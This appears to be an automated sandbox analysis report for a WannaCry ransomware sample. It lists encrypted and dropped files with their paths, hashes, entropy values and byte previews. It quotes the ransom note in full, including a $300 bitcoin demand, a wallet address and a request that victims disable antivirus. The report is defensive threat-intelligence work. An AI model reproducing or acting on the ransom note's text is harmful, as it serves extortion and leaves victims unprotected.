                                    SHA-512:066576B8F08C6B40408AA675AF9422DD51EEB969CC8E5A911104FA0092056A3EDBA387993B7413C016A5BCA5F727B79D7F325AB6971569D4F77E62F75D59632D
                                    Malicious:true
                                    Preview:WANACRY!....8...?.{.u&...J......66..n.w...2dC..P7....7:.P...qJ.....k.cRbj".A.L7...].......tm.fg.r...Y.Nu3,....8...|}...j\.p.K...x....r......0..!...ji/._..L.6.T"D+..."rVA..*..kw.*...v.R........p....Qk.N......~..tY...V..,..T.."...ym.,'.]......7J.c.w5p.z........q.....y............M..../l..z........k...U.8.....6..$.....V....'`/.S0/e...?.b>.t.J...#N.{.E.....D.....c...z#.rB.......L...i.'.B.[.F.R>.......@.YhC..*.Y.'q.Rk.Hd...<.PJ.U'.>...u.u%s0..R..../....c. ..k.....e..5..Sn,..O|.....:J.b.|..t..H.Y...".`J.(.......vP..!..._.._..l..Q....c.;.....'......:.k.......s.Y.v.<E......g.....:.Q.....x..Bi.Nt....g.c..G.2.....e.2P........U...}@..R...Z[.......3.R+...x.....D....-....j...o&..).o.............{..%+.s.2].#...0.p`8.`..5...d.[.y...,.[.W)....!....n$....*.S.....*......x:..(W-3G4zPP.x_%..gq].J06E..t.86I.......C.e.".#L;V..WW..D$2......$.A..rg.{..?E......T_.E.>.uP../Jvv.b.op..T.G./].I)...... <@../*.....-oio..0"#L...fm}Wb..Lmx.6.<..).\5.V;%3...H.-..ia.v.r.

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664250150656855.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):115272
                                    Entropy (8bit):7.998292183318535
                                    Encrypted:true
                                    SSDEEP:3072:Px1o1VbO7NsqiKOZ1QNfj0I37ZkxT4D7x5V:Px1o1ZO5biKeQNfb37ZaO7TV
                                    MD5:86D179B3F83B7B059518A76318A1A8E6
                                    SHA1:1AFE14D04A2E375DCD982E47401E858C64457687
                                    SHA-256:A87AE7C080B55ABF3EE5EBEFE44B2E45D0C44E3A9A2FF4D73FA8A20429A08D44
                                    SHA-512:E20247BD4E77A871A201382FADEA2BE253F104C782ACBBC6A727170EBE8BA2339EA52B45386F01E74C461451AA3D04D42E57E84614115DC178D360FCCE3B65E9
                                    Malicious:true
                                    Preview:WANACRY!.......V.....Z.._.j..H.u{.U..:r.?N.:UW..\kX{.6...x.4..- .......+.?.7F}..j,.M..E.dVE....d......A[........J..;....m..=&......t.....+..,' .9r......r.W..._...]Gb............nM.C...-7...Q%..2.:.y..>.s...}b...V.s...CB....4..c..f.:.9.84.F.l....vr.[V.<.....,........W6.Gp.%.i..S..h......XV][..../:.k.....Kxp).H.....o..F...........3....>PL.ksD...n..K.e.....W..T..FO...>..P........X.@.H`0.$?.."N.<...1=T..(.yf.F.r:.pq)...U..vw3.......p.e+\k.%2..P....Z..g...t.{...?6h..T...W;.s0).Y$.x4...X..W. .J, {.e%]..T8...]..(,x...6R..q.?C...q..?...^n.......O6:-.?..xc8...W8...(/.....:.Y...Z....P..C.B........*Y....u..)...ZH....y.....o .....j..a.9..?.......(.c..k,.D.&.....MuS.).......{d....?og....s._..&.......x\..=....8uHz3...CM.....7.C....3.s!O.Z....b.Z..0.V.=.U......a.......M.......;.aZ..O.Z..!...Y|....Ir....!...#......q...W......Q..>..Pb....9t(n.1.tS...JG...Nm.5O..Df.s.jOHj.....f......o.e.D;4P7..Bxf...~]....sP.....,o.2/E.i.K.x(:6f.\6f=..,6.B..:..Z

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664250451283842.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):115272
                                    Entropy (8bit):7.998360711715905
                                    Encrypted:true
                                    SSDEEP:3072:ZlC6DVfIBhtJEDNdAE6nUF3O4osTw7bdM:usIBhtkNebW+4ojdM
                                    MD5:B643F07E1E4B76F6185852A19CFD8C0E
                                    SHA1:282F8971C217B8C0FC17E552D38945A26A21516D
                                    SHA-256:C4017814633A71EE657EA487FA4AD0F1E5F971B9FB323E03E23FDD4906064737
                                    SHA-512:64DD130B17044DE875A6E023BFC68656D9E677A974909A516819EC78D88576BA6BEFD3C9824BF5E4BEAB634A782BA57A11A4B1CB5C661191ABCB05E7A70AE90F
                                    Malicious:true
                                    Preview:WANACRY!......-S.....j6.h.k.......Y4?..A..D!..\tm.t.w0%...e(qI#..^n.......{`t..B9.7..Y...&.."..!5...nmF"...c........L..;...5....S..=/{.[{...d.2...6..'..z.u./....-.?...0....q,./.?7.&...bb...p....o.m..ci....P.."e..(......./]u;..M...X.l...X....W8..>.=.......C..?....,..........4*.gyd..O....Z.r......*....].....`Ge...Ab..v....d8.X."....o....O...........J...u.:Q....h!..|..OL.LI..m.Z....z..5|[{o.Q..)...QC7.@{....$...bJ..m........[.ZvD.M3&.S......Q..h=s2OA..<e...':@.eQ..,..l.JFva.M. 6:.e).........6%.[M......X..^[U0.F....[..Id]W..SGo..+."..`.y.^.8.:qe.#...DD.#":.sr.....(q..}][..*..@.k`.u.P$@..Mz.-......y....,.2/.7:../../`...=-....FSg....]Nt......'.G...1.....#*.-........p.COm^.....Ce.].T.K.. 8..|.........,.\..D5\.>'.N..l...u....Lnx\.D5!...X .../.k./.p..6K..FS........O...^t.B~T..Q......{..19...!.\........#...r.. ....g:....|...5........A.. D.....u....6.........5....=w..HE......64.........=|..s9t~....].(.........."..)J.....E....H_........N8hE.![......"...

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664308186704568.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):115272
                                    Entropy (8bit):7.998293566186513
                                    Encrypted:true
                                    SSDEEP:1536:rtlqZNDq6VaytLl83cvE48d4pWPg5EABD88oHOiJssAS66e/rjF1Nphj7u+pOF7P:rnQqSaytC7bspawVxplN8Fg4
                                    MD5:FB5AEA2C74C62FF50359520BFF87CABE
                                    SHA1:EC5F76ED75EA2D19E055EB841287B99397349895
                                    SHA-256:6507FA6762B9152750C5DC895C8F45A31BEA984A974394097ED2E006E27FFB05
                                    SHA-512:A308D673A0BF5C4410457F743C5085549DB91E1D79115454504285CB9C1B77EFF442785CD01898D74F4ED3EFA2D25DAAB2A4A105EF3F063087F882E75F94343F
                                    Malicious:true
                                    Preview:WANACRY!.....P.w..z.\K.c......Q..}....%I.Z.Y.....r..VW?.b.Z.5.yO.....r...W.W..W.^...<...;..,..1C.x...@O.A..:.w......!#)S.2...>.9.y.$.j...#]M.o.bv"gs%..[.2K[...K_y.D ..ya...1....Qx......Yu.C.$.......7..........L.g...w..L.q...V7.}B..f`...-._Q.h].G..A..8.A.v.....,..........~X&.5....~4j..Ok..B gwL.R...w.l.cE.?m...B.". ....6I..:..b.E^.8g7..^s...*...E..L.^.Uy...IZ..La.C.!.N+...H.-O..a..s....cy....i_..>]..#~..9..)U-....,.C#..2.............Gc.#.njq....V..z?.....j....i..%..Y.4;S..fSa.....Kg...p.........fdZ..%h.g...B.F_.....wv..w...Yd..G.[...z._...(".-.P(f.iK...U...k....v|...F.....h.jr.6.....&.f)...a.)....N,.Jg......<.@j..k..U.E...3...M.P.3._.Y.}.......aJz].K_r(.?HO.v..~.~..7!.u.O....\.8..AL.x.|5..j..CM#..%W.^7%"..u.,.O^....x8b.{....-P.6..[..~.F..x...q.....X..$.M..(...|...$8d..y.t......C.ib..h.P.......(..AEJ'...j^...z....D.a...E.e,.Z.m...xhy...v./..._..f.#.rO.Q_v.s.a..%.o9rRe....x....BLR.f....|..w..$Bjq.....u.J...E$..N..O.L......q...v...>L...

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664308473525907.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):115272
                                    Entropy (8bit):7.9981901843944305
                                    Encrypted:true
                                    SSDEEP:3072:HY+oQKJnEMVhIDylKpV/iu6vnU/tiOzIEoB1U0R:xoQKhfIDywVbim3/8
                                    MD5:F3DE134597B043BC3055D9DCF6AC9446
                                    SHA1:C083629B5416F1D13408718F6A87815CA9068100
                                    SHA-256:F945C6BC2F74247D6FD425B0654E0D4842F92ECBF71DB3F99C3F578B1B9FE593
                                    SHA-512:1433D8A6812282E8F84A91B0DECEADF479DF371A17386D5CD111B1BE9A1EA0B36E66F21A5A2667172C6FA5AF549E6D8499AE94D8DA0646EA5D5D6ACD8F21D87E
                                    Malicious:true
                                    Preview:WANACRY!.....6.\.9........aa..Jb.{....G.<.m.}.7.#q......j..M..G.A. .w........ "..)..{.F..=GCA_z.L.J..5...iF..DN..mC7.K.eU}...Y.M.a.x........*...a....$..eQ...A..8.....e.K.Y=........<.Mz.q...v.M.?.u.).E.....-..6/..d.j.SO..k}...;Jp.v....t..(.u.K...B.Z{.d.['....,........?....@+qk....#`s$..s.].&...=S.=..]..@k.....4..R.?..._.tQ.2.....{YTK....S......~.....CX.4c....).....^p.*.?....?..h.%z.i1:x...c...qra.~j. ...S...p..K..R..U.....7`5..l.F>.=.\....wz......-.#.h.........3.3.!e........_.$...(Q-....[6......C.....,!U..Qw.RN......6.........p.>.Q.".O...}..Ey....}......U"...oF.6...a..{B.kY...R.V..`P...`..k........c.......X..u.Ut}.m..`'........Y.RC..b.{i.t......?....._[...X....D.d...~....].IO..~.q/..w..r.Xf6X.....h".....m.y.yH!..{2;5.)Q.e k.m(.....t..R.....Y....D.A..5r.7.>\..2.U8.Y..o..r..X.=.).Tb.2...;......a..H+..&..I...h.....{... t.70..g.f..R.:iq*<......w:..X...X.RT.5...8uo..;..Tu.G.=].....Jt._a.H..jL....N.0.(..K.*...N..m+!..3....JD.u.)..W....}3`p..F...%

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):696888
                                    Entropy (8bit):7.999732041439105
                                    Encrypted:true
                                    SSDEEP:12288:byAGMxJ+C2fwTNCP/GTpO3FsiaMjln8oaFJ9xPC0GLBWcQoBsU96E8zCGcP:Fh72ITQGTpkarMjl8RJ9Y0HTZzs
                                    MD5:C6469E644D96902089D549079DBD9258
                                    SHA1:F60DC2AFD4574565968A9B0CE51B01328201CF88
                                    SHA-256:8D80814F3E25D34D6549489CA282EEEB721FFCF50B96DD6CC8AECDB5C89FE827
                                    SHA-512:F245A2B9C6FF80D42CD12B65D6FD5DB2A2D8874C3830B0464697E314C41D4C4A4FEB28BDFF9F7D363553FC7675D6FEB157DE8AD0351854343046B9B63DB4EC11
                                    Malicious:true
                                    Preview:WANACRY!.......Db}.|Z....8..c.........d..t!..yP._...O....9...A..n\s.q....O\.....U`.!..@....J@.]u...3._.....e..{..`.=...[.%.t.|....[....T.F..U..~".:..-..........7J.b.'.=...8?t..D\.>.Z-..>.7r...OW.iYuN...U....3..VD..Y.H.0.&.^y!....Y..?.(.......wh...t.z...6............X|:......P9N.d..+.....7.T2s.7..O...52Ng.|.B.}j{;Gh+/G8a$.VB......x=..U............0:...OV...!..&....B5....aF...$I.R...k]..[.......T..!;.u....k....F......GsS....+....m....:.j..i..f..D.z.yU.C.A..$..*.....h...W&.....tB.?.x..kO5...1.......-...|6la......}{./".3V.U.b]H.4o.V>.....u..$%......htw...c..1#$.>.'...'...u..n.Gl.7F...|....O.q...O....=8.e.8<. ..>..|.fj^*` ..6eg.m...x....9./.[..K.@>.8)..T..r...:..........,.........u..JWf......6.qN3h.x(.....Np...K......*".$....].db...K.$.Q.T6.`2wA7$.5.......D..Iq.....h.J........6f*.z".Rjd<..&g..M.a(....._......:....zA.G5.......O..wl~B.]..mt.p.._..{......U...l.'..R..P...HO..-3XHs6:4"Wa......-........eaL........v].0.........v|(..D.r.uR.`...m.)A...[.}..@..

                                    C:\Users\user\AppData\Local\Temp\0BF33693.exe

                                    Download File
                                    Process:C:\Users\user\AppData\Local\Temp\wBQInv.exe
                                    File Type:ASCII text
                                    Category:dropped
                                    Size (bytes):4
                                    Entropy (8bit):1.5
                                    Encrypted:false
                                    SSDEEP:3:Nv:9
                                    MD5:D3B07384D113EDEC49EAA6238AD5FF00
                                    SHA1:F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
                                    SHA-256:B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
                                    SHA-512:0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
                                    Malicious:false
                                    Preview:foo.

                                    C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):24856
                                    Entropy (8bit):7.993741631137631
                                    Encrypted:true
                                    SSDEEP:384:LbRN4bSgo48cFhDEnQX4Cb8ATz0Y9oAyQhvCKjheJoKhqIQ:LbMSpoFVEJCbToY+AyQtCKNeSSqx
                                    MD5:781ECAB42E6E64C1EC1688ED2D1FE7AB
                                    SHA1:5D498F8FFCF5052F795D70EC336BB46C3B77475F
                                    SHA-256:DC93D9C2C5FEE1E74AFE4AC61B3F613A87DDA43245F6AB564B74C0E605963545
                                    SHA-512:053D9EB9EF338498D260B93AAC59D480B36CAC1A6E47637AA374F7548998C1692A83CB939F0BC2709C73903CFC995B4EA5A1604E262D2DB4A714F8A3D9826887
                                    Malicious:true
                                    Preview:WANACRY!.....o.^<..c..W5CX-.....4...H..../@.#.S@.r..<Z.......1.=.....EY...g.I...1f.....M.....K......~..Bx....+O.&`.. #...t.$u#..+...4..D.+.?...MU.W..(.......M...%^.:d..."..M.2..dC.....v.x\.b..`...9di.k.......Z..A...*...]..../.......}.Q..8[.{.@..{... .........`........#.;,.FA.......n..{G..` .....4.>#./ ...X.z.....6...i. ....=.]../......+...=..E.....qe.(\n1...G.'..U7.......F/".xX....C...!A...!...e..r$Q?*/z.@.Z.^....,.......#....n...p...J...1.R .....{...Z..Y_.f.'B.h.o...3.1...PJ.......).A....VY.". u s...6...a@.. n..g.1.......*....YR.....N....d.!.b..$M..E5.Yy.AJ2........lw[......LtT....].U..B..ym..'(I.n".M...y.l.Bw.\....]|....p).*..,...^....u.`,...,N9:.xw.|hhn.......*7..E`..*;..3j......0.R/....]kSo..+../|.D...."....kB..Q..R...o......N...FW..X\..6Z..........0jx....<..q...u&.D..E0 ..||h......4.=jO..M. (!.d$.ae.........s...E\...8z..>\.;..'..'..<G.;.`.<.."&+N.}.cm|}.....Ye.(..{j\.P.l..f..>^..T......\....m...O.M..X.3n.@.[..5.9..O..&.9.....s.rVv.

                                    C:\Users\user\AppData\Local\Temp\73255EBB.exe

                                    Download File
                                    Process:C:\Users\user\AppData\Local\Temp\wBQInv.exe
                                    File Type:ASCII text
                                    Category:dropped
                                    Size (bytes):4
                                    Entropy (8bit):1.5
                                    Encrypted:false
                                    SSDEEP:3:Nv:9
                                    MD5:D3B07384D113EDEC49EAA6238AD5FF00
                                    SHA1:F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
                                    SHA-256:B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
                                    SHA-512:0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
                                    Malicious:false
                                    Preview:foo.

                                    C:\Users\user\AppData\Local\Temp\79DD382D.exe

                                    Download File
                                    Process:C:\Users\user\AppData\Local\Temp\wBQInv.exe
                                    File Type:ASCII text
                                    Category:modified
                                    Size (bytes):4
                                    Entropy (8bit):1.5
                                    Encrypted:false
                                    SSDEEP:3:Nv:9
                                    MD5:D3B07384D113EDEC49EAA6238AD5FF00
                                    SHA1:F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
                                    SHA-256:B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
                                    SHA-512:0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
                                    Malicious:false
                                    Preview:foo.

                                    C:\Users\user\AppData\Local\Temp\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\user\AppData\Local\Temp\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):30136
                                    Entropy (8bit):7.993699800053361
                                    Encrypted:true
                                    SSDEEP:384:AHNAk9lO5uX9WujrROxQMIRkqWgh6tm54794tvSQrN5bM2z+FqQ6T7ciargtQbZ+:AtAD8tOxlqWgPYoN5Iv8vaMKVCPiC9hN
                                    MD5:3A5ACBF40B7E848827790A7CE49D7D31
                                    SHA1:A3D13C3152F1E230B9554696779C7FE6B5671DB2
                                    SHA-256:E15F91338E7FDE33108239B6116F4CB9D0ECF3EA7695BC99D487DC24DBA12AED
                                    SHA-512:B62EE8D5F454BEF6904D388D52CEEAFFF7F2FF28B79EAAB68A6E596473A154EF1CFB517FCD14CCE210844A90E9D9BE9B1E508A9B5AE49E6CE6C62DF98EDDD458
                                    Malicious:true
                                    Preview:WANACRY!.....#.Q.M.K.k.... Ra)0.d..<...2d........|s......p..s..9T..n1v(x..oV...P.p.&...OQ.....5...?..y}#.....%P..DzH.-.6.F.".d!&....T..2./......;Y.t..^........P......4JA.......=.../.c.eX0....0J../C.@...Ri.nd.[/....5... \x..N.4>..X.4gb'.^.[%C8nK.fg@.<?b......t......i......Re.T;...g....>..G.1O\....5]...,..CJ._1..~..6l7x...[......ch.m.......-.*{?....N1]W....5.].=.TbG...0.?V.-=.605.R`d.^..H........}A..W......D%(..&.q"..s..x..t.E.E-._e...... K..L).)..p..-k.......k5....?C...1vR....\.ie..........e...L1....8..oq..]6....0E...;.gB.'B?....H.$..u"..._Yp.*L..NX.`.K...rE...d..V.....C.......P.O."..-....Q.H.".-0..)..sr*q[s....z...`.M.XnZ|...NJ&.....t.e..2..R....q...tp..EO.rL..5.N...8.!.....k..1w.....m9....@k..[u.-.0r.....NR.8 ...*..5..z.8.P5.n.f.....H...:[.o.n.@.H..>....6.e..(".fi..k7x....*[`m.....x.w?N.J....P.##...APL..}...6.....J_....@KQ....VH)..dT{:.I0..]v`...B...V.,tF....IhtT. Y....=.....U*.A..2.^l...[....)...I.M.;3:..R51,ba........_..$.8...k.S..<.-..D...

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\common\analytics.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):26152
                                    Entropy (8bit):7.992762454962334
                                    Encrypted:true
                                    SSDEEP:768:1dK18POIL8TQZLS8msofWov71g7rvlF7o:15RGEAvOrLo
                                    MD5:0024AD1AEC5B813F46E3FE42A01259FE
                                    SHA1:C8BB8465859C2260388BDB76ABA1520203229BCB
                                    SHA-256:AA25AA4C7D54F5F89E0A54ABEC712714EBCA6A6525940767CA62FEAC8E0AA143
                                    SHA-512:4D1E71AF4345BD59D51453DC73BAC628F765508D13F93C54C303EBEDE31F782E8194EA01DD822A46F39EFD61B47C951AE1B11B40E87B1DD292EB1C5F185D486E
                                    Malicious:true
                                    Preview:WANACRY!....H.p.........<..........O....y..=G..$.....7....\.[~2.e..RO%x...&&6/W)..r.g.C!r$...s... >N.....d.k..:..D.9:..x..'<H.........'..G.&...=..k....vy......g......./..]...nM..G5H.....Z@......Psf2..../....V.(-......_nN.&.7q..I.s.^+.{XI..m..(=...C9c. .|......e......W.....'..s.`,C....a,_q..N..=F.G....$.CX..b..F...z......O......o.r&..F?...5..S.U...aR.j*~7..(W..a..~.P.....-..."..[....bj].^.IcZk.=..T..`.,..[a."a..I.{H...1.....7._R.K.d..,.Q.s.._.~......B.%.....T.m..g7...V.~.7K....x...'..m......./);fV...U..8S#.Y.....{.8..W.5...5.l..0..................c0.".F..Jf.@v....DD..2..?r...g.=........*.".8..@j..}...6Bz...L.:.Dv..#....Z........~<.......d..3N1..p{\>...........E...A}P....O....cd$#.Z. .....h..00....'...n5v..R.G"PX....z..{..<[.U>.S.&..Li...:.ljB.NA8...Q..:........S6..#..9...?.-.....;..{..h..1...n...Q...9.o|.#.3.k..2x.4oa..~.L7b...y...7...]M.....9..G.0|.....jI..i2.."l.9.I*......y....)=..'.,F.L.6.d..[..xA.bN...6.l.n..`..a.;...V..

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\common\constant.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2264
                                    Entropy (8bit):7.89923289523894
                                    Encrypted:false
                                    SSDEEP:48:bkg1wMulKiDEqSxUf1F05sXHMsd6/vO0/9GaRb9Zad3JwEQ5yN6DzPq:oZMuoiDlme1F08YnO01Go836FDzC
                                    MD5:B5AFB90ACF2CA6DC66E8A757C8172A13
                                    SHA1:20C371996545771A88FBC8B8EF265711699BE0F9
                                    SHA-256:2BD631BFEE0770ED9DA58C8BD68350F6CDC8705BBD04A6AAF9A11D5BDC6C68CF
                                    SHA-512:1080E9D0DB135C01E4C958FF712734B47B641E3343B3D6EE9DEAEBD21444783F5E80D7D63D85396F08970DEFD93AE54E7C4A0655DC9D0323B0A712511E28757D
                                    Malicious:false
                                    Preview:WANACRY!....j..`...\...8.M..Kp..@...AU..\Bo..=\gw..j.g....)..\....g.{d......m.....s.U.'..1.!.....I~9.R..8.....e..I...;&cN..3p.#........<V.*Bc[..N...,8g.#.G.X..j.....&L@...|..m.RvU..:.....r.#t..GrV......?A......m?."W.N...!~.&...C..........DU........z"..............h~<.&"..dA..z...Q.4...tI..Rv<..E.t..]6...<....i.HwJ.7.S_...G....-....&.N|(.4.}......s......#L.6.FCR...;>.....[.K.L.+...,.Y.rI9.Ne.C.O.m......-..Kd...5.....1...$&..1. ,..ph~.:...}.,......,..r..(.....!.>-Q.).Q...N........592...$.w..w...x...>>.Yi+.BeUr.....W..K2.....w....._j.u.....'.].H[.6DxH."..f.pM?.....)A.........bwT_....._........h....[.B.VB.;?ePn.3..W3..s..Ms:.!_Wn}......0.V.......{..*.%....LP..F\c#...5.Fs.3.v.G......P.R..r...<.\..N0l...@QQ^.Y.*.Q.=..Q.1z^7..d....@m.@t..a.I4.....w.h.@s5.3...N^.......ra8]V....f..u.=..@./.P{^.C...5..\.%.|.D@..y.........[.L.j,N.jI..UTy..Tgg.H......9.....W..i0..r=.O....j....l...)...?l...y.s..E........x....,...;]t..S.......".\ls...2...Pg.

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\common\indexDB.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):3800
                                    Entropy (8bit):7.945215009661032
                                    Encrypted:false
                                    SSDEEP:96:oi9fYcU82ohKgzxVMhObcR41mrk3MBdKlrRFA010XJnE+W:w8FhhxV1cR40o3MilrI01eE+W
                                    MD5:308E94AB54CF257B777570CE02A50619
                                    SHA1:7FA3950C934DFC14664C48C4E8AC9211D0021021
                                    SHA-256:491742BBE3D4222249BA3DF402AE26EE22408B708F73F1EE503A8845381875A1
                                    SHA-512:0AB2723788E167C801FA4FDE80E5FF7115FE63508796740D9299617DE915599632E5E8C98CF34342709A793405ED488D743356DCC341750859C3DDB09500D706
                                    Malicious:false
                                    Preview:WANACRY!...."....p........d......._.AR.....<I...}.X.&.>.]xJz..........r...'v.....,.|......Q...}..R.$.m.S9..D.m...+.......K.w...-S%Zy;7h..Wd^"........h.H:.....ac.%.....U......V,..@...E.l.....S.#O......N..].v...\0..*v.+.......nc...zL... .7...8.i^.3..#.................h.w....q.......5..;..Bus...... aA7.....A..>.|..{..Y...l...E..^...)..+.....W<..M..w.....)....1{S.d..Y(.Tn.\.m...LKT..].?.,..Pv+.rX..~et..}.@....t..wu...th..ks..6z..../:w...!.4....D;T.N.qXz.....8.a..l.!.x...LYWJ..p+K...pc....rC.....!m..d.9...%.UN....../.K.p....Kh....K.'.M-...^..f."...#.j..........5/.#.!4....:j.QV....7..E..p...i.......Nw...W5Y...Z.g8ZEi..OT..:..n....srl.....~..!.j....p#R...b.8..............>.6..&...+...Q>S..:f....c~18.j....L>.s.g..j.-.L..4<-z...{.....D.l..9...N...v.......l.L.E.....x.;....R.S=...'..(...|I......).=.....j....E.bF..T....OMla..8.p..@s1.r.p.......X3...HP.6..1.q.r.s..~.p.w...v....N.."/.=34......VIo....S.,..6=.).=.#...u...d....vs#...<..{.....@.z..

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\common\local-storage.js.WNCRYT

                                    Download File
